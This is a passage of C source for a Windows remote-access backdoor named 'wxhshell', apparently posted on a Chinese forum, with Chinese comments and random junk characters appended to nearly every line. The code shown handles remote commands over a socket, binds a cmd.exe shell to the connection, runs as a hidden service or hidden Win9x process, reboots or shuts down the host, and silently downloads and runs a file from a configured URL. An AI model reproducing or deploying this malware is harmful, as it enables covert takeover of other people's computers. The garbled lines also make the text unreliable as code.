!7anJl  
    switch(cmd[0]) { =Y5*J#  
  |Vc:o_n7  
  // 帮助 \8S HX  
  case '?': { zyFbu=d|O:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e7gWz~  
    break; B9h>  
  } q\87<=9J  
  // 安装 kx3]A"]>'  
  case 'i': { .e2 K\o  
    if(Install()) )IZ~!N|-w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); siGt5RH*  
    else `!g XA.9Uv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %GDs/9  
    break; x^ ]1m%  
    } $kk!NAW  
  // 卸载 t2vo;,^euL  
  case 'r': { ?\Z-3l%M  
    if(Uninstall()) D`uOBEX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pxs`g&3yd  
    else {!vz 6QDS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fh$Xcz~i  
    break; z|>f*Z  
    } [8.w2\<?  
  // 显示 wxhshell 所在路径 \muC_9ke  
  case 'p': { Cdd +I5~  
    char svExeFile[MAX_PATH]; ,b8q$ R~\  
    strcpy(svExeFile,"\n\r"); 2*1s(Jro  
      strcat(svExeFile,ExeFile); 6~v|pA jY  
        send(wsh,svExeFile,strlen(svExeFile),0); .EUOKPK4W  
    break; >T<"fEBI  
    } UZ+FV;<  
  // 重启 Zcn,_b7  
  case 'b': { /0H39]y!~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p#dpDjh  
    if(Boot(REBOOT)) $?u ^hMU=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 29=L7  
    else { SggS8$a`  
    closesocket(wsh); 3_tO  
    ExitThread(0); AyMMr_q  
    } Tfl4MDZb  
    break; DOm5azO!>  
    } -*EK-j  
  // 关机 glppb$oB\  
  case 'd': { cTeEND)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ' cl&S:  
    if(Boot(SHUTDOWN)) h4^ a#%$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *tda_B 2  
    else { Y?z@)cL  
    closesocket(wsh); 3J{`]v5`  
    ExitThread(0); 217KJ~)'  
    } !:mo2zA  
    break; ?q <"!U|e  
    } A8R}W=  
  // 获取shell b!ZXQn3X<  
  case 's': { ODH@ /  
    CmdShell(wsh); n(b(H`1n  
    closesocket(wsh); ##!) }i  
    ExitThread(0); wK CHG/W  
    break; cFoDR  
  } ^V~r S8]gj  
  // 退出 ?1('s0s\,  
  case 'x': { <Dw`Ur^X5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !RnO{FL  
    CloseIt(wsh); \gL H_$}  
    break; 3~4e\xL  
    } & ;+u.X  
  // 离开 5B? >.4R  
  case 'q': { q@p-)+D;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "K z=Z C  
    closesocket(wsh); 4cql?W(D  
    WSACleanup(); ?s("@dz_  
    exit(1); d"|XN{  
    break; oO|zRK1;/  
        } gaC^<\J  
  } )dJaF#6j  
  } RvYH(!pQ  
 # a 'h,  
  // 提示信息 m[C-/f^u|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); */n)_  
} +!V*{<K  
  } /)xG%J7H  
u|7d_3 ::  
  return; fi%u]  
} 6v0^'}  
3Bz0B a  
// shell模块句柄 RV|: mI  
int CmdShell(SOCKET sock) s!09Pxc  
{ pAYH"Q6~)I  
STARTUPINFO si; dvk? A$  
ZeroMemory(&si,sizeof(si)); \c+)Y}:D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IBWUeB:b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "2X=i`rTi  
PROCESS_INFORMATION ProcessInfo; jBV2]..  
char cmdline[]="cmd"; uRQm.8b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U%ce0z  
  return 0; Pn5@7~  
} lC +p2OG^[  
tgDmHxB]0  
// 自身启动模式 9/RbfV[)  
int StartFromService(void) `/<KDd:_t  
{  c/I.`@  
typedef struct oq=D9  
{ ~<3qsA..  
  DWORD ExitStatus; 4em7PmT  
  DWORD PebBaseAddress; :*e0Z2=  
  DWORD AffinityMask; 8f% @  
  DWORD BasePriority; =V1k'XJ  
  ULONG UniqueProcessId; N7*JL2Rnq  
  ULONG InheritedFromUniqueProcessId; ]YZ+/:#U7  
}   PROCESS_BASIC_INFORMATION; _tL*sA>[~)  
>>wb yj8  
PROCNTQSIP NtQueryInformationProcess; ;"&^ckP  
fM_aDSRa!H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =O w}MX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fEdQR->  
\0Zm3[  
  HANDLE             hProcess; *L/_ v  
  PROCESS_BASIC_INFORMATION pbi; YcGSZ0vQ  
LGPy>,!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t(CdoE,6  
  if(NULL == hInst ) return 0; Lm9y!>1"O  
$GUSTV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XZA3T Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fSl+;|K n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >\8Bu#&s4  
tuK"}HepB  
  if (!NtQueryInformationProcess) return 0; b/'fC%o,  
t/_w}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -c%GlpZw  
  if(!hProcess) return 0; 52tIe|KwL  
R 3 Eh47  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5SK{^hw  
?};}#%971  
  CloseHandle(hProcess); }+QgRGQ  
/]T#@>('  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xcicqywe?  
if(hProcess==NULL) return 0; =+97VO(w]G  
NDU,9A.P  
HMODULE hMod; C+,;hj  
char procName[255]; #18H Z4N  
unsigned long cbNeeded; m1VyYG  
`,aPK/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '  G-]>  
c}Y(Myd  
  CloseHandle(hProcess); UMo=bs  
&6PZX0M  
if(strstr(procName,"services")) return 1; // 以服务启动 oKz|hks[6  
Uq~{=hMX  
  return 0; // 注册表启动 |h*H;@$  
} (}"r 5  
vAq`*]W+  
// 主模块 Us M|OH5k  
int StartWxhshell(LPSTR lpCmdLine) D<#+ R"  
{ `.Y["f 1B  
  SOCKET wsl; Mvrc[s+o  
BOOL val=TRUE; F^IYx~:  
  int port=0; -fz |  
  struct sockaddr_in door; >; nE.]  
De4UGX  
  if(wscfg.ws_autoins) Install(); uezqC=v$h  
mmAikT#k  
port=atoi(lpCmdLine); j.sxyW?3  
$/5Jc[Ow  
if(port<=0) port=wscfg.ws_port; VCcLS3  
i15uHl  
  WSADATA data; 7NMQUN7k '  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2K!3+D"  
8Cs)_bj#!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q0.+F4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ^P~%^?(  
  door.sin_family = AF_INET; U'UV=:/-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }/B  
  door.sin_port = htons(port); G7pj.rQ  
8}\VlH]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .Frc:Y{  
closesocket(wsl); 782be-n  
return 1; `&4L'1eF{  
} K!5QFO4  
+e`f|OQ  
  if(listen(wsl,2) == INVALID_SOCKET) { 4VSlgoz  
closesocket(wsl); Y;p _ff  
return 1; $s4rG=q  
} c\-5vw||b  
  Wxhshell(wsl); syA*!Up  
  WSACleanup(); CVo@zr$  
K\nN2y  
return 0; *O#%hTYq  
kUmrJBh$  
} \^iJv ~d  
rm;'/l8Y-E  
// 以NT服务方式启动 VThcG( NF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uo_Y"QiKEH  
{ L|qQZ=  
DWORD   status = 0; Tw)nFr8oF]  
  DWORD   specificError = 0xfffffff; `Ff3H$_*  
KIC5U50J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ixw3Z D(>+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q$Ga.fI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tlV>  
  serviceStatus.dwWin32ExitCode     = 0; KF|+# qCN  
  serviceStatus.dwServiceSpecificExitCode = 0; n&D<l '4  
  serviceStatus.dwCheckPoint       = 0; Z%y>q|:  
  serviceStatus.dwWaitHint       = 0; !Sy._NE`z  
_Buwz_[&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \acJ9N  
  if (hServiceStatusHandle==0) return; U,LW(wueT  
';hU&D;s  
status = GetLastError(); lt|\$Iy(  
  if (status!=NO_ERROR) |o6 h:g  
{ XpdDIKMmE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #25Z,UU  
    serviceStatus.dwCheckPoint       = 0; 6B)(kPW  
    serviceStatus.dwWaitHint       = 0; =\B{)z7@6D  
    serviceStatus.dwWin32ExitCode     = status; 9 #TzW9  
    serviceStatus.dwServiceSpecificExitCode = specificError; sNc(aGvy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9AD`,]b  
    return; od{Y` .<  
  } NEa :  
&W-L`aFd0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wOOBW0tj  
  serviceStatus.dwCheckPoint       = 0; dQYb)4ir  
  serviceStatus.dwWaitHint       = 0; ^ ~:f02[D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gD3s,<>o  
} Gi~p-OS,  
2qo=ud  
// 处理NT服务事件,比如:启动、停止 b4Br!PL@G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5B#q/d1/a  
{ .X\p;~H 5  
switch(fdwControl) `utv@9 _z  
{ k<Z^93 S  
case SERVICE_CONTROL_STOP: @*]l.F   
  serviceStatus.dwWin32ExitCode = 0; )XmV3.rI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }&I\a  
  serviceStatus.dwCheckPoint   = 0; ]>E*s3h  
  serviceStatus.dwWaitHint     = 0; nT..+ J)  
  { 9W:oo:dK F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _T&?H&#  
  } J0*hJ-/u  
  return; iZ<^p1i  
case SERVICE_CONTROL_PAUSE: "CLoM\M)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HYyO/U9z|I  
  break; p~6/+ap  
case SERVICE_CONTROL_CONTINUE: "+/%s#&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y  >r7(qg  
  break; j5,1`7\7B  
case SERVICE_CONTROL_INTERROGATE: 5ppOG_  
  break; =.(yOUI  
}; A-^[4&rb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $m,gQV~4  
} 3('=+d[}Vw  
."&,_F  
// 标准应用程序主函数 k!3X4;F!_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |t+M/C0y/  
{ g6{.C7m  
p4C w#)BaS  
// 获取操作系统版本 ZQXv-"  
OsIsNt=GetOsVer(); u?5 d%]*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R''nZ/R  
S-}MS"  
  // 从命令行安装 fOJ 0#^Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); zs e<b/G1G  
 N-`Vb0;N  
  // 下载执行文件 "RMBV}<T  
if(wscfg.ws_downexe) { >/mi#Y6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D9,609w  
  WinExec(wscfg.ws_filenam,SW_HIDE); {*,~,iq  
} "X0"=1R~  
Oo |*q+{  
if(!OsIsNt) { w F6ywr  
// 如果时win9x,隐藏进程并且设置为注册表启动 v,y nz'>)  
HideProc(); 2+zE|I.  
StartWxhshell(lpCmdLine); ^!^6 |[  
} BZq_om6  
else 0T7(c-  
  if(StartFromService()) \95qH ,w)T  
  // 以服务方式启动 =F'p#N0_2  
  StartServiceCtrlDispatcher(DispatchTable); -1iKeyyA  
else hTcy;zLLS  
  // 普通方式启动 =+5z;3  
  StartWxhshell(lpCmdLine); A]ZCQ49  
E9z^#@s  
return 0; =y -L'z&r  
}
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只看该作者 1 发表于: 2006-10-10
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